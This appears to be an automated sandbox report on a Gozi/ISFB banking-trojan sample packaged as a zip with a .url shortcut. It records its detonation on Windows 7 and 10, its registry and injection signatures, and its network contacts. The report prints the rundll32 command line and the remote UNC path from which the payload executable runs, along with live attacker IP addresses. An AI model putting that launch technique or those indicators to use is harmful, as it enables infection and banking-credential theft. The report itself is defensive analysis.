Malware Analysis Report

2025-08-05 21:40

Sample ID 230322-h7s3nafd88
Target Normativa37.zip
SHA256 c0b94c66db218563d8c9ef86ea86d49d86a364d02f5912c3cfc48adad91993f9
Tags
gozi 7715 banker isfb trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c0b94c66db218563d8c9ef86ea86d49d86a364d02f5912c3cfc48adad91993f9

Threat Level: Known bad

The file Normativa37.zip was found to be: Known bad.

Malicious Activity Summary

gozi 7715 banker isfb trojan

Gozi

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-22 07:23

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-22 07:23

Reported

2023-03-22 07:25

Platform

win7-20230220-en

Max time kernel

129s

Max time network

29s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Normativa\Normativa.url

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Normativa\Normativa.url

Network

N/A

Files

memory/1196-54-0x0000000002100000-0x0000000002101000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-03-22 07:23

Reported

2023-03-22 07:25

Platform

win10v2004-20230220-en

Max time kernel

143s

Max time network

144s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Normativa\Normativa.url

Signatures

Gozi

banker trojan gozi

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2428 wrote to memory of 4780 N/A C:\Windows\System32\rundll32.exe \??\UNC\109.248.11.227\Agenzia\server.exe
PID 2428 wrote to memory of 4780 N/A C:\Windows\System32\rundll32.exe \??\UNC\109.248.11.227\Agenzia\server.exe
PID 2428 wrote to memory of 4780 N/A C:\Windows\System32\rundll32.exe \??\UNC\109.248.11.227\Agenzia\server.exe

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Normativa\Normativa.url

\??\UNC\109.248.11.227\Agenzia\server.exe

"\\109.248.11.227\Agenzia\server.exe"

Network

Country Destination Domain Proto
RU 109.248.11.227:445 tcp
US 8.8.8.8:53 227.11.248.109.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 checklist.skype.com udp
US 104.208.16.89:443 tcp
US 8.8.8.8:53 1.77.109.52.in-addr.arpa udp
US 209.197.3.8:80 tcp
US 8.8.8.8:53 55.154.139.52.in-addr.arpa udp
NL 173.223.113.164:443 tcp
RU 62.173.142.50:80 62.173.142.50 tcp
US 8.8.8.8:53 50.142.173.62.in-addr.arpa udp
US 8.8.8.8:53 216.74.101.95.in-addr.arpa udp
US 209.197.3.8:80 tcp
RU 31.41.44.87:80 31.41.44.87 tcp
US 8.8.8.8:53 87.44.41.31.in-addr.arpa udp
RU 109.248.11.217:80 109.248.11.217 tcp
US 8.8.8.8:53 217.11.248.109.in-addr.arpa udp

Files

memory/4780-134-0x0000000002210000-0x000000000221B000-memory.dmp

memory/4780-135-0x0000000002270000-0x000000000227D000-memory.dmp

memory/4780-138-0x0000000000400000-0x00000000004DB000-memory.dmp